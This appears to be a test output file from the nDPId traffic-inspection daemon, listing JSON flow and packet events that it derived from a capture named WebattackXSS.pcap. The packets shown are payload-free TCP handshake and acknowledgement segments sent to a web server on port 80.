+00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":5262,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":328,"flow_packet_id":7,"flow_first_seen":1499347524782,"flow_last_seen":1499347530758,"flow_tot_l4_data_len":240,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58116,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":5262,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":328,"flow_packet_id":7,"flow_first_seen":1499347524782,"flow_last_seen":1499347530758,"flow_tot_l4_data_len":240,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58116,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":5262,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":329,"flow_packet_id":6,"flow_first_seen":1499347526155,"flow_last_seen":1499347531758,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58130,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":5262,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":329,"flow_packet_id":6,"flow_first_seen":1499347526155,"flow_last_seen":1499347531758,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58130,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":5262,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":330,"flow_packet_id":6,"flow_first_seen":1499347527425,"flow_last_seen":1499347532758,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58144,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":5262,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":330,"flow_packet_id":6,"flow_first_seen":1499347527425,"flow_last_seen":1499347532758,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58144,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":5262,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":331,"flow_packet_id":6,"flow_first_seen":1499347528679,"flow_last_seen":1499347533759,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58158,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":5262,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":331,"flow_packet_id":6,"flow_first_seen":1499347528679,"flow_last_seen":1499347533759,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58158,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":5262,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":332,"flow_packet_id":6,"flow_first_seen":1499347531303,"flow_last_seen":1499347536759,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58184,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":5262,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":332,"flow_packet_id":6,"flow_first_seen":1499347531303,"flow_last_seen":1499347536759,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58184,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":5262,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":333,"flow_packet_id":6,"flow_first_seen":1499347532560,"flow_last_seen":1499347537760,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58198,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":5262,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":333,"flow_packet_id":6,"flow_first_seen":1499347532560,"flow_last_seen":1499347537760,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58198,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":5265,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":372,"flow_packet_id":1,"flow_first_seen":1499347598383,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58906,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":372,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5265,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347598,"pkt_ts_usec":383395,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8jLdAAD4GORmsEAABwKgKMuYaAFCJpsNgAAAAAKACchDafwAAAgQFtAQCCAoBO0\/XAAAAAAEDAwc="} +00444{"flow_id":372,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5266,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347598,"pkt_ts_usec":383530,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ5hrRW5D8iabDYaAScSBT1AAAAgQFtAQCCAoD5SFNATtP1wEDAwc="} +00433{"flow_id":372,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5268,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347598,"pkt_ts_usec":385443,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0jLhAAD4GOSCsEAABwKgKMuYaAFCJpsNh0VuQ\/YAQAOXy2gAAAQEICgE7T9gD5SFN"} +00432{"flow_id":369,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5271,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347598,"pkt_ts_usec":779373,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0X55AAD4GZjqsEAABwKgKMuXkAFAOABV1HSiKtIARAOXbrAAAAQEICgE7UDoD5Rxe"} +00432{"flow_id":369,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5272,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347598,"pkt_ts_usec":780803,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0qwRAAEAGGNTAqAoyrBAAAQBQ5eQdKIq0DgAVdoARAOPWWwAAAQEICgPlIbABO1A6"} +00432{"flow_id":369,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5273,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347598,"pkt_ts_usec":782430,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0X59AAD4GZjmsEAABwKgKMuXkAFAOABV2HSiKtYAQAOXWWAAAAQEICgE7UDsD5SGw"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":5277,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":373,"flow_packet_id":1,"flow_first_seen":1499347599663,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58920,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":373,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5277,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347599,"pkt_ts_usec":663313,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8qjVAAD4GG5usEAABwKgKMuYoAFAgjfstAAAAAKACchAKfQAAAgQFtAQCCAoBO1EYAAAAAAEDAwc="} +00445{"flow_id":373,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5278,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347599,"pkt_ts_usec":663410,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ5igR\/+x3II37LqAScSDmcgAAAgQFtAQCCAoD5SKNATtRGAEDAwc="} +00433{"flow_id":373,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5279,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347599,"pkt_ts_usec":664389,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0qjZAAD4GG6KsEAABwKgKMuYoAFAgjfsuEf\/seIAQAOWFegAAAQEICgE7URgD5SKN"} +00432{"flow_id":370,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5283,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347599,"pkt_ts_usec":778631,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA00FZAAD4G9YGsEAABwKgKMuXyAFCOVJxxeQPvAYARAOUR7wAAAQEICgE7UTQD5R2a"} +00432{"flow_id":370,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5284,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347599,"pkt_ts_usec":778803,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0zatAAEAG9izAqAoyrBAAAQBQ5fJ5A+8BjlSccoARAOMM4AAAAQEICgPlIqoBO1E0"} +00432{"flow_id":370,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5285,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347599,"pkt_ts_usec":780363,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA00FdAAD4G9YCsEAABwKgKMuXyAFCOVJxyeQPvAoAQAOUM3QAAAQEICgE7UTUD5SKq"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":5295,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":374,"flow_packet_id":1,"flow_first_seen":1499347602223,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58946,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":374,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5295,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347602,"pkt_ts_usec":223242,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8ZzNAAD4GXp2sEAABwKgKMuZCAFA0xTSkAAAAAKACchC6NQAAAgQFtAQCCAoBO1OXAAAAAAEDAwc="} +00444{"flow_id":374,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5296,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347602,"pkt_ts_usec":223398,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ5kLiWaZmNMU0paAScSAJYgAAAgQFtAQCCAoD5SUNATtTlwEDAwc="} +00432{"flow_id":374,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5297,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347602,"pkt_ts_usec":224286,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0ZzRAAD4GXqSsEAABwKgKMuZCAFA0xTSl4lmmZ4AQAOWoaAAAAQEICgE7U5gD5SUN"} +00432{"flow_id":371,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5301,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347602,"pkt_ts_usec":779304,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0XnBAAD4GZ2isEAABwKgKMuYMAFDbqxDzNxAybIARAOVJHwAAAQEICgE7VCMD5SAR"} +00433{"flow_id":371,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5302,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347602,"pkt_ts_usec":779522,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0F\/RAAEAGq+TAqAoyrBAAAQBQ5gw3EDJs26sQ9IARAONDmQAAAQEICgPlJZgBO1Qj"} +00432{"flow_id":371,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5303,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347602,"pkt_ts_usec":781318,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0XnFAAD4GZ2esEAABwKgKMuYMAFDbqxD0NxAybYAQAOVDlwAAAQEICgE7VCMD5SWY"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":5307,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":375,"flow_packet_id":1,"flow_first_seen":1499347603507,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58960,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":375,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5307,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347603,"pkt_ts_usec":507258,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8rD1AAD4GGZOsEAABwKgKMuZQAFBpufjkAAAAAKACchC\/sAAAAgQFtAQCCAoBO1TZAAAAAAEDAwc="} +00444{"flow_id":375,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5308,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347603,"pkt_ts_usec":507382,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ5lDEx3+iabn45aAScSBR8gAAAgQFtAQCCAoD5SZOATtU2QEDAwc="} +00433{"flow_id":375,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5309,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347603,"pkt_ts_usec":508295,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0rD5AAD4GGZqsEAABwKgKMuZQAFBpufjlxMd\/o4AQAOXw+QAAAQEICgE7VNkD5SZO"} +00433{"flow_id":372,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5313,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347603,"pkt_ts_usec":780270,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0jLlAAD4GOR+sEAABwKgKMuYaAFCJpsNh0VuQ\/YARAOXtlAAAAQEICgE7VR0D5SFN"} +00432{"flow_id":372,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5314,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347603,"pkt_ts_usec":780495,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0tm9AAEAGDWnAqAoyrBAAAQBQ5hrRW5D9iabDYoARAOPoUAAAAQEICgPlJpIBO1Ud"} +00433{"flow_id":372,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5315,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347603,"pkt_ts_usec":782244,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0jLpAAD4GOR6sEAABwKgKMuYaAFCJpsNi0VuQ\/oAQAOXoTgAAAQEICgE7VR0D5SaS"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":5319,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":376,"flow_packet_id":1,"flow_first_seen":1499347604752,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58974,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":376,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5319,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347604,"pkt_ts_usec":752176,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8ltJAAD4GLv6sEAABwKgKMuZeAFCga8DCAAAAAKACchC\/2wAAAgQFtAQCCAoBO1YQAAAAAAEDAwc="} +00444{"flow_id":376,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5320,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347604,"pkt_ts_usec":752334,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ5l5oMbaJoGvAw6AScSB2lQAAAgQFtAQCCAoD5SeFATtWEAEDAwc="} +00432{"flow_id":376,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5321,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347604,"pkt_ts_usec":753219,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0ltNAAD4GLwWsEAABwKgKMuZeAFCga8DDaDG2ioAQAOUVnQAAAQEICgE7VhAD5SeF"} +00433{"flow_id":373,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5325,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347604,"pkt_ts_usec":781251,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0qjdAAD4GG6GsEAABwKgKMuYoAFAgjfsuEf\/seIARAOWAegAAAQEICgE7VhcD5SKN"} +00434{"flow_id":373,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5326,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347604,"pkt_ts_usec":781350,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0y\/RAAEAG9+PAqAoyrBAAAQBQ5igR\/+x4II37L4ARAON7fAAAAQEICgPlJ4wBO1YX"} +00433{"flow_id":373,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5327,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347604,"pkt_ts_usec":783249,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0qjhAAD4GG6CsEAABwKgKMuYoAFAgjfsvEf\/seYAQAOV7eQAAAQEICgE7VhgD5SeM"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":5331,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":377,"flow_packet_id":1,"flow_first_seen":1499347606078,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58988,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":377,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5331,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347606,"pkt_ts_usec":78239,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA83l9AAD4G53CsEAABwKgKMuZsAFA9+okEAAAAAKACchBYsgAAAgQFtAQCCAoBO1dbAAAAAAEDAwc="} +00443{"flow_id":377,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5332,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347606,"pkt_ts_usec":78341,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ5mwyfi78PfqJBaAScSDLYAAAAgQFtAQCCAoD5SjRATtXWwEDAwc="} +00432{"flow_id":377,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5334,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347606,"pkt_ts_usec":80191,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA03mBAAD4G53esEAABwKgKMuZsAFA9+okFMn4u\/YAQAOVqZwAAAQEICgE7V1wD5SjR"} 